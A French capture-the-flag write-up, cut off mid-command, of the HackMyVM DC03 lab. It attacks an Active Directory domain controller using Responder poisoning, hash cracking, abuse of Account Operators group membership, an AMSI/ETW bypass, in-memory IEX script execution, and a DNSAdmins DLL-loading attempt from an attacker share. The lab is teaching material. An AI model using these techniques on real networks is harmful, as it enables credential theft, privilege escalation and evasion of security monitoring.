Accueil Solution du CTF DC03 de HackMyVM.eu
Post
Annuler

Solution du CTF DC03 de HackMyVM.eu

Hash in a bottle

On est parti pour le DC03, étant donné que les deux précédents étaient très bon. Celui-là m’a donné du fil à retordre à cause d’un bug stupide de la VM mais ça m’a permit de découvrir et de tenter quelques attaques.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-19 00:18:22Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49687/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:4F:0C:26 (Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR

Pour faire ce CTF de façon plus consciencieuse, on peut par exemple retrouver notre situation dans la MindMap Windows AD de Orange-CyberDefense.

Par exemple vu que l’on a rien du tout pour commencer, on peut utiliser Kerbrute comme on l’a fait sur les précédents opus.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ./kerbrute userenum -d soupedecode.local --dc 192.168.56.126 /opt/SecLists/Usernames/Names/names.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 06/18/25 - Ronnie Flathers @ropnop

2025/06/18 17:20:03 >  Using KDC(s):
2025/06/18 17:20:03 >   192.168.56.126:88

2025/06/18 17:20:04 >  [+] VALID USERNAME:       charlie@soupedecode.local
2025/06/18 17:20:04 >  Done! Tested 10177 usernames (1 valid) in 0.897 seconds

Mais comme cette fois, on ne parvient pas à trouver le mot de passe de charlie on va sortir un autre outil :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# python Responder.py -I vboxnet0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

[*] Sponsor Responder: https://paypal.me/PythonResponder

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
--- snip ---
[+] Listening for events...

[!] Error starting TCP server on port 21, check permissions or other servers running.
[!] Error starting TCP server on port 53, check permissions or other servers running.
[*] [MDNS] Poisoned answer sent to 192.168.56.126  for name FileServer.local
[*] [NBT-NS] Poisoned answer sent to 192.168.56.126 for name FILESERVER (service: File Server)
[*] [LLMNR]  Poisoned answer sent to fe80::5b4:a375:14eb:da4b for name FileServer
[*] [MDNS] Poisoned answer sent to fe80::5b4:a375:14eb:da4b for name FileServer.local
[*] [MDNS] Poisoned answer sent to 192.168.56.126  for name FileServer.local
[*] [MDNS] Poisoned answer sent to fe80::5b4:a375:14eb:da4b for name FileServer.local
[*] [LLMNR]  Poisoned answer sent to fe80::5b4:a375:14eb:da4b for name FileServer
[*] [LLMNR]  Poisoned answer sent to 192.168.56.126 for name FileServer
[*] [LLMNR]  Poisoned answer sent to 192.168.56.126 for name FileServer
[SMB] NTLMv2-SSP Client   : fe80::5b4:a375:14eb:da4b
[SMB] NTLMv2-SSP Username : soupedecode\xkate578
[SMB] NTLMv2-SSP Hash     : xkate578::soupedecode:2789ebcb50e55063:793877812B7C0C3476BF9D8A9AADC084:010100000000000080043B5677E0DB011BFEF09EA603B98A000000000200080031004C0048004C0001001E00570049004E002D0035003700300031004B004C003100560051004B00360004003400570049004E002D0035003700300031004B004C003100560051004B0036002E0031004C0048004C002E004C004F00430041004C000300140031004C0048004C002E004C004F00430041004C000500140031004C0048004C002E004C004F00430041004C000700080080043B5677E0DB01060004000200000008003000300000000000000000000000004000000E55D0B699C33A3824DF74CC610EBAC5A581841F0CBF1FDB0C42818D3CBF114E0A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C0065005300650072007600650072000000000000000000

Juste avec du LLMNR poisoning, nous avons déjà le hash de l’utilisateur xkate578 qui est cassable :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
root@4ba639addc13:~# hashcat -m 5600 /data/hash.txt /data/rockyou.txt 
hashcat (v6.2.6-851-g6716447df) starting

OpenCL API (OpenCL 3.0 LINUX) - Platform #1 [Intel(R) Corporation]
==================================================================
* Device #1: 13th Gen Intel(R) Core(TM) i7-1360P, 15820/31705 MB (7926 MB allocatable), 16MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 4 MB

Dictionary cache built:
* Filename..: /data/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

XKATE578::soupedecode:2789ebcb50e55063:793877812b7c0c3476bf9d8a9aadc084:010100000000000080043b5677e0db011bfef09ea603b98a000000000200080031004c0048004c0001001e00570049004e002d0035003700300031004b004c003100560051004b00360004003400570049004e002d0035003700300031004b004c003100560051004b0036002e0031004c0048004c002e004c004f00430041004c000300140031004c0048004c002e004c004f00430041004c000500140031004c0048004c002e004c004f00430041004c000700080080043b5677e0db01060004000200000008003000300000000000000000000000004000000e55d0b699c33a3824df74cc610ebac5a581841f0cbf1fdb0c42818d3cbf114e0a0010000000000000000000000000000000000009001e0063006900660073002f00460069006c0065005300650072007600650072000000000000000000:jesuschrist

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: XKATE578::soupedecode:2789ebcb50e55063:793877812b7c...000000
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/data/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  5120.6 kH/s (2.66ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 16384/14344384 (0.11%)
Rejected.........: 0/16384 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> christal
Hardware.Mon.#1..: Temp: 71c Util: 22%

Le password est jesuschrist. Avec le compte, on peut lister les partages :

1
2
3
4
5
6
7
8
9
10
11
12
$ ./nxc smb 192.168.56.126 -u xkate578 -p jesuschrist --shares
SMB         192.168.56.126  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False) 
SMB         192.168.56.126  445    DC01             [+] SOUPEDECODE.LOCAL\xkate578:jesuschrist 
SMB         192.168.56.126  445    DC01             [*] Enumerated shares
SMB         192.168.56.126  445    DC01             Share           Permissions     Remark
SMB         192.168.56.126  445    DC01             -----           -----------     ------
SMB         192.168.56.126  445    DC01             ADMIN$                          Remote Admin
SMB         192.168.56.126  445    DC01             C$                              Default share
SMB         192.168.56.126  445    DC01             IPC$            READ            Remote IPC
SMB         192.168.56.126  445    DC01             NETLOGON        READ            Logon server share 
SMB         192.168.56.126  445    DC01             share           READ,WRITE      
SMB         192.168.56.126  445    DC01             SYSVOL          READ            Logon server share

Ou encore extraire la liste des utilisateurs de l’AD :

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./nxc smb 192.168.56.126 -u xkate578 -p jesuschrist --users-export list.txt
SMB         192.168.56.126  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False) 
SMB         192.168.56.126  445    DC01             [+] SOUPEDECODE.LOCAL\xkate578:jesuschrist 
SMB         192.168.56.126  445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         192.168.56.126  445    DC01             Administrator                 2024-08-01 06:08:58 0       Built-in account for administering the computer/domain 
SMB         192.168.56.126  445    DC01             Guest                         <never>             1       Built-in account for guest access to the computer/domain 
SMB         192.168.56.126  445    DC01             krbtgt                        2024-06-15 19:25:27 0       Key Distribution Center Service Account 
SMB         192.168.56.126  445    DC01             bmark0                        2024-06-15 20:04:35 0       Chess player and puzzle solver 
SMB         192.168.56.126  445    DC01             otara1                        2024-06-15 20:04:35 0       Nature lover and hiking enthusiast 
SMB         192.168.56.126  445    DC01             kleo2                         2024-06-15 20:04:35 0       Adventure seeker and extreme sports fan 
SMB         192.168.56.126  445    DC01             eyara3                        2024-06-15 20:04:35 0       Bird watcher and wildlife photographer 
SMB         192.168.56.126  445    DC01             pquinn4                       2024-06-15 20:04:35 0       Music lover and aspiring guitarist
--- snip ---

Et enfin obtenir le premier flag :

1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient -U xkate578 //192.168.56.126/share
Password for [WORKGROUP\xkate578]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Thu Jun 19 02:41:34 2025
  ..                                  D        0  Thu Aug  1 07:38:08 2024
  desktop.ini                       AHS      282  Thu Aug  1 07:38:08 2024
  user.txt                            A       70  Thu Aug  1 07:39:25 2024

                12942591 blocks of size 4096. 10804519 blocks available
smb: \> get user.txt
getting file \user.txt of size 70 as user.txt (3,3 KiloBytes/sec) (average 3,3 KiloBytes/sec)

Le flag est 12f54a96f64443246930da001cafda8b.

Conseiller d’orientation

Malgré ça, le compte ne permet aucun accès à une ligne de commande. On va donc chercher ailleurs.

J’ai tenté la voie des certificats (ADCS) mais sans succès :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ certipy find -u xkate578@SOUPEDECODE.LOCAL -p jesuschrist -dc-ip 192.168.56.126 -ldap-scheme ldap -ldap-port 389
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 0 certificate templates
[*] Finding certificate authorities
[*] Found 0 certificate authorities
[*] Found 0 enabled certificate templates
[*] Finding issuance policies
[*] Found 1 issuance policy
[*] Found 0 OIDs linked to templates
[*] Saving text output to '20250618180756_Certipy.txt'
[*] Wrote text output to '20250618180756_Certipy.txt'
[*] Saving JSON output to '20250618180756_Certipy.json'
[*] Wrote JSON output to '20250618180756_Certipy.json'

Je me suis tourné vers le plus classique BloodHound pour cartographier les utilisateurs, groupes et permissions de l’active directory.

Il faut d’abord collecter les données, ici avec bloodhound-python :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ bloodhound-python -ns 192.168.56.126 --dns-tcp --dns-timeout 60 -d SOUPEDECODE.LOCAL -u xkate578 -p jesuschrist -dc dc01.SOUPEDECODE.LOCAL
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
Traceback (most recent call last):
  File "/tmp/myvenv/bin/bloodhound-python", line 8, in <module>
    sys.exit(main())
             ^^^^^^
  File "/tmp/myvenv/lib/python3.12/site-packages/bloodhound/__init__.py", line 314, in main
    ad.dns_resolve(domain=args.domain, options=args)
  File "/tmp/myvenv/lib/python3.12/site-packages/bloodhound/ad/domain.py", line 705, in dns_resolve
    q = self.dnsresolver.query(query, 'SRV', tcp=self.dns_tcp)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/tmp/myvenv/lib/python3.12/site-packages/dns/resolver.py", line 1363, in query
    return self.resolve(
           ^^^^^^^^^^^^^
  File "/tmp/myvenv/lib/python3.12/site-packages/dns/resolver.py", line 1317, in resolve
    (nameserver, tcp, backoff) = resolution.next_nameserver()
                                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/tmp/myvenv/lib/python3.12/site-packages/dns/resolver.py", line 764, in next_nameserver
    raise NoNameservers(request=self.request, errors=self.errors)
dns.resolver.NoNameservers: All nameservers failed to answer the query _ldap._tcp.pdc._msdcs.SOUPEDECODE.LOCAL. IN SRV: Server Do53:192.168.56.126@53 answered SERVFAIL

Oops. On dirait bien qu’il manque un enregistrement DNS ou quelque chose dans le genre…

Finalement, j’ai trouvé cet article qui explique comment on peut s’en tirer avec le DNS menteur DNSChef :

Comment utiliser DNSChef pour résoudre les problèmes de connectivité de Bloodhound liés aux timeouts LDAP · Un blog sur mes projets

J’ai mis en place ce fichier de config :

1
2
3
4
5
6
[A]
dc01.soupedecode.local=192.168.56.126

[SRV]
; FORMAT : priorité poids port cible
*.*.*.*.soupedecode.local=0 5 5060 dc01.soupedecode.local

Puis lancé dnschef :

1
2
3
4
5
6
7
8
9
10
11
12
13
# python dnschef.py --file dnschef.ini 
          _                _          __  
         | | version 0.4  | |        / _| 
       __| |_ __  ___  ___| |__   ___| |_ 
      / _` | '_ \/ __|/ __| '_ \ / _ \  _|
     | (_| | | | \__ \ (__| | | |  __/ |  
      \__,_|_| |_|___/\___|_| |_|\___|_|  
                   iphelix@thesprawl.org  

(10:17:37) [*] DNSChef started on interface: 127.0.0.1
(10:17:37) [*] Using the following nameservers: 8.8.8.8
(10:17:37) [*] Cooking A replies for domain dc01.soupedecode.local with '192.168.56.126'
(10:17:37) [*] Cooking SRV replies for domain *.*.*.*.soupedecode.local with '0 5 5060 dc01.soupedecode.local'

Je relance alors la connexion en spécifiant mon DNS local et ça marche :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ bloodhound-python -ns 127.0.0.1 -d SOUPEDECODE.LOCAL -u xkate578 -p jesuschrist -dc dc01.SOUPEDECODE.LOCAL -c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: soupedecode.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.SOUPEDECODE.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 101 computers
INFO: Found 964 users
INFO: Connecting to LDAP server: dc01.SOUPEDECODE.LOCAL
INFO: Found 53 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: 
INFO: Querying computer: 
--- snip ---
INFO: Querying computer: 
INFO: Querying computer: DC01.SOUPEDECODE.LOCAL
INFO: Done in 00M 00S

Au début je pensais utiliser BloodHound depuis Kali mais il n’est pas installé par défaut.

Finalement j’ai choisis de passer par le docker-compose offciel. La mise en place est plutôt simple : récupérer deux fichier et lancer les containers.

1
2
3
4
5
mkdir bloodhound
cd bloodhound/
wget https://raw.githubusercontent.com/SpecterOps/BloodHound/refs/heads/main/examples/docker-compose/bloodhound.config.json
wget https://raw.githubusercontent.com/SpecterOps/BloodHound/refs/heads/main/examples/docker-compose/docker-compose.yml
docker compose up -d

Le mot de passe initial doit être récupéré dans les logs du container principal :

1
docker logs bloodhound-bloodhound-1 | grep "Initial Password"

Il faut alors se rendre sur http://localhost:8080/ui/login avec le nom d’utilisateur spam@example.com et le mot de passe récupéré.

Sur ce BloodHound Cypher Cheatsheet, on trouve différentes requêtes Cypher comme Show all high value target group :

1
MATCH p=(n:User)-[r:MemberOf*1..]->(m:Group {highvalue:true}) RETURN p

Ça m’a retourné ce graphe qui est sans doute le plus intéressant :

BloodHound DC03 HackMyVM

Le compte fbeth103 semble être une victime toute désignée.

Notre utilisateur courant xkate578 fait partie du groupe ACCOUNT OPERATORS dont les membres sont habilités à rajouter des utilisateurs à des groupes ou changer des mots de passe.

Seulement d’après la documentation que j’ai pu trouver, cela exclut normalement les groupes de haut niveau et d’ailleurs quand je tente de changer le mot de passe de fbeth103 ça échoue.

1
2
3
$ net rpc password fbeth103 -U SOUPEDECODE.LOCAL/xkate578%jesuschrist -S 192.168.56.126
Enter new password for fbeth103:
Failed to set password for 'fbeth103' with error: Access is denied..

On verra plus tard que c’était lié à un bug inconnu.

Quand on regarde xkate578 dans Bloodhound, on voit plus de 1000 règles “Outbound Object Control”. Toutes proviennent de son adhésion au groupe ACCOUNT OPERATORS.

Ce groupe a de nombreux liens GenericAll. J’ai utilisé cette requête pour ne garder que les groupes :

1
2
3
4
MATCH (ao:Group {name: 'ACCOUNT OPERATORS@SOUPEDECODE.LOCAL'})
MATCH (g:Group)
MATCH p=(ao)-[:GenericAll]->(g)
RETURN p

Le résultat :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
ACCESS CONTROL ASSISTANCE OPERATORS@SOUPEDECODE.LOCAL
ACCOUNT OPERATORS@SOUPEDECODE.LOCAL
ALLOWED RODC PASSWORD REPLICATION GROUP@SOUPEDECODE.LOCAL
CERTIFICATE SERVICE DCOM ACCESS@SOUPEDECODE.LOCAL
CERT PUBLISHERS@SOUPEDECODE.LOCAL
CLONEABLE DOMAIN CONTROLLERS@SOUPEDECODE.LOCAL
CRYPTOGRAPHIC OPERATORS@SOUPEDECODE.LOCAL
DENIED RODC PASSWORD REPLICATION GROUP@SOUPEDECODE.LOCAL
DISTRIBUTED COM USERS@SOUPEDECODE.LOCAL
DNSADMINS@SOUPEDECODE.LOCAL
DNSUPDATEPROXY@SOUPEDECODE.LOCAL
DOMAIN COMPUTERS@SOUPEDECODE.LOCAL
DOMAIN GUESTS@SOUPEDECODE.LOCAL
DOMAIN USERS@SOUPEDECODE.LOCAL
ENTERPRISE READ-ONLY DOMAIN CONTROLLERS@SOUPEDECODE.LOCAL
EVENT LOG READERS@SOUPEDECODE.LOCAL
GROUP POLICY CREATOR OWNERS@SOUPEDECODE.LOCAL
GUESTS@SOUPEDECODE.LOCAL
HYPER-V ADMINISTRATORS@SOUPEDECODE.LOCAL
IIS_IUSRS@SOUPEDECODE.LOCAL
INCOMING FOREST TRUST BUILDERS@SOUPEDECODE.LOCAL
NETWORK CONFIGURATION OPERATORS@SOUPEDECODE.LOCAL
PERFORMANCE LOG USERS@SOUPEDECODE.LOCAL
PERFORMANCE MONITOR USERS@SOUPEDECODE.LOCAL
PRE-WINDOWS 2000 COMPATIBLE ACCESS@SOUPEDECODE.LOCAL
PROTECTED USERS@SOUPEDECODE.LOCAL
RAS AND IAS SERVERS@SOUPEDECODE.LOCAL
RDS ENDPOINT SERVERS@SOUPEDECODE.LOCAL
RDS MANAGEMENT SERVERS@SOUPEDECODE.LOCAL
RDS REMOTE ACCESS SERVERS@SOUPEDECODE.LOCAL
REMOTE DESKTOP USERS@SOUPEDECODE.LOCAL
REMOTE MANAGEMENT USERS@SOUPEDECODE.LOCAL
STORAGE REPLICA ADMINISTRATORS@SOUPEDECODE.LOCAL
TERMINAL SERVER LICENSE SERVERS@SOUPEDECODE.LOCAL
USERS@SOUPEDECODE.LOCAL
WINDOWS AUTHORIZATION ACCESS GROUP@SOUPEDECODE.LOCAL

Il y a pas mal de groupes intéressants. D’abord, je me rajoute au groupe “remote management” afin d’accéder à WinRM :

1
2
3
4
5
$ net rpc group ADDMEM "REMOTE MANAGEMENT USERS" xkate578 -U soupedecode.local/xkate578  -S 192.168.56.126
Password for [SOUPEDECODE.LOCAL\xkate578]:
$ net rpc group members "REMOTE MANAGEMENT USERS" -U soupedecode.local/xkate578  -S 192.168.56.126
Password for [SOUPEDECODE.LOCAL\xkate578]:
SOUPEDECODE\xkate578

Et ça marche :

1
2
3
4
5
$ ./nxc winrm 192.168.56.126 -u xkate578 -p jesuschrist -X whoami
WINRM       192.168.56.126  5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL)
WINRM       192.168.56.126  5985   DC01             [+] SOUPEDECODE.LOCAL\xkate578:jesuschrist (Pwn3d!)
WINRM       192.168.56.126  5985   DC01             [+] Executed command (shell type: powershell)
WINRM       192.168.56.126  5985   DC01             soupedecode\xkate578

De là, j’ai obtenu le premier flag :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ docker run --rm -ti --name evil-winrm3 -v /tmp/:/data oscarakaelvis/evil-winrm -i 192.168.56.126 -u xkate578 -p jesuschrist

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\xkate578\Documents> dir
*Evil-WinRM* PS C:\Users\xkate578\Documents> cd ..
*Evil-WinRM* PS C:\Users\xkate578> cd desktop
*Evil-WinRM* PS C:\Users\xkate578\desktop> dir


    Directory: C:\Users\xkate578\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         7/31/2024  10:39 PM             70 user.txt


*Evil-WinRM* PS C:\Users\xkate578\desktop> type user.txt
12f54a96f64443246930da001cafda8b

At least you tried

Profitant de ce shell j’ai exécuté un WinPEAS powershell après avoir bypassé l’AMSI :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
*Evil-WinRM* PS C:\users\xkate578\Documents> upload wp_b64.ps1

Warning: Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command

Info: Uploading /data/wp_b64.ps1 to C:\users\xkate578\Documents\wp_b64.ps1

Data: 145960 bytes of 145960 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\users\xkate578\Documents> menu


   ,.   (   .      )               "            ,.   (   .      )       .   
  ("  (  )  )'     ,'             (`     '`    ("     )  )'     ,'   .  ,)  
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((   
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')  
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \  
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \ 
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] menu
[+] exit

*Evil-WinRM* PS C:\users\xkate578\Documents> Bypass-4MSI

Info: Patching 4MSI, please be patient...

[+] Success!

Info: Patching ETW, please be patient ..

[+] Success!
*Evil-WinRM* PS C:\users\xkate578\Documents> $b64_content = Get-Content -Path "C:/users/xkate578/Documents/wp_b64.ps1" -Raw; [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64_content)) | IEX

Comme à son habitude, il a merdé au moment d’énumérer la base de registre. Dans tous les cas, rien d’intéressant.

Je suis retourné à mes ajouts de groupes en me dirigeant d’abord vers CERTIFICATE SERVICE DCOM ACCESS en me disant que peut être certipy trouverais plus de choses :

1
net rpc group ADDMEM "CERTIFICATE SERVICE DCOM ACCESS" xkate578 -U soupedecode.local/xkate578  -S 192.168.56.126
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ certipy find -u xkate578@soupedecode.local -p jesuschrist -dc-ip 192.168.56.126 -ldap-scheme ldap -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 0 certificate templates
[*] Finding certificate authorities
[*] Found 0 certificate authorities
[*] Found 0 enabled certificate templates
[*] Finding issuance policies
[*] Found 1 issuance policy
[*] Found 0 OIDs linked to templates
[*] Enumeration output:
Certificate Authorities                 : [!] Could not find any CAs
Certificate Templates                   : [!] Could not find any certificate templates

Encore raté !

J’ai exploré un peu la piste du groupe ALLOWED RODC PASSWORD REPLICATION mais d’après l’article Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory, il faut que des membres soit déjà dedans pour que l’attaque fonctionne.

Finalement la piste de DNSADMINS me semblait la plus prometteuse. Le principe, c’est que la commande dnscmd permet de charger une DLL qui sera exécuté avec le compte SYSTEM.

Seuls les membres de DNSADMINS peuvent exécuter la commande en question. Ainsi si je l’exécute :

1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\xkate578> dnscmd /info

Info query failed
    status = 5 (0x00000005)

Command failed:  ERROR_ACCESS_DENIED     5    0x5

Et si je me rajoute au groupe :

1
net rpc group ADDMEM "DNSADMINS" xkate578 -U soupedecode.local/xkate578  -S 192.168.56.126

Et que j’ouvre une nouvelle session WinRM :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
*Evil-WinRM* PS C:\Users\xkate578\Documents> dnscmd /info

Query result:

Server info
        server name              = DC01.SOUPEDECODE.LOCAL
        version                  = 4F7C000A (10.0 build 20348)
        DS container             = cn=MicrosoftDNS,cn=System,DC=SOUPEDECODE,DC=LOCAL
        forest name              = SOUPEDECODE.LOCAL
        domain name              = SOUPEDECODE.LOCAL
        builtin forest partition = ForestDnsZones.SOUPEDECODE.LOCAL
        builtin domain partition = DomainDnsZones.SOUPEDECODE.LOCAL
        read only DC             = 0
        last scavenge cycle      = not since restart (0)
  Configuration:
        dwLogLevel               = 00000000
        dwDebugLevel             = 00000000
        dwRpcProtocol            = 00000005
        dwNameCheckFlag          = 00000002
        cAddressAnswerLimit      = 0
        dwRecursionRetry         = 3
        dwRecursionTimeout       = 8
        dwDsPollingInterval      = 180
  Configuration Flags:
        fBootMethod                  = 3
        fAdminConfigured             = 0
        fAllowUpdate                 = 1
        fDsAvailable                 = 1
        fAutoReverseZones            = 1
        fAutoCacheUpdate             = 0
        fSlave                       = 0
        fNoRecursion                 = 0
        fRoundRobin                  = 1
        fStrictFileParsing           = 0
        fLooseWildcarding            = 0
        fBindSecondaries             = 0
        fWriteAuthorityNs            = 0
        fLocalNetPriority            = 1
  Aging Configuration:
        ScavengingInterval           = 0
        DefaultAgingState            = 0
        DefaultRefreshInterval       = 168
        DefaultNoRefreshInterval     = 168
  ServerAddresses:

        Ptr          = 000001B7FFC7BFE0
        MaxCount     = 2
        AddrCount    = 2
                Addr[0] => af=23, salen=28, [sub=0, flag=00000000] p=13568, addr=fe80::5b4:a375:14eb:da4b
                Addr[1] => af=2, salen=16, [sub=0, flag=00000000] p=13568, addr=192.168.56.126

  ListenAddresses:
        NULL IP Array.
  Forwarders:
        NULL IP Array.
        forward timeout  = 3
        slave            = 0
Command completed successfully.

Je vous passe la création d’une DLL Windows cross compilée depuis Linux. Il faut savoir que pour que ça fonctionne, la librairie doit exporter un nom de fonction bien spécifique.

Pour éviter de se faire détecter, on privilégiera du code custom plutôt que du msfvenom. Au choix du simple C, Go ou Rust. J’avais choisi ce dernier :

1
2
3
4
5
6
docker run --rm -v "$(pwd):/app" rust:latest     bash -c " \
    apt-get update && apt-get install -y mingw-w64 && \
    cd /app && \
    rustup target add x86_64-pc-windows-gnu && \
    cargo build --release --target x86_64-pc-windows-gnu \
    "

Mais j’ai été bien déçu au moment de l’exploitation :

1
2
3
4
5
*Evil-WinRM* PS C:\Users\xkate578\Documents> dnscmd dc01.soupedecode.local /config /serverlevelplugindll \\192.168.56.1\share\test.dll

DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

Il est clairement question de la base de registre. Je regarde les ACL sur l’emplacement de la clé normalement utilisé par dnscmd :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*Evil-WinRM* PS C:\Users\xkate578\Documents> $acl = Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\DNS
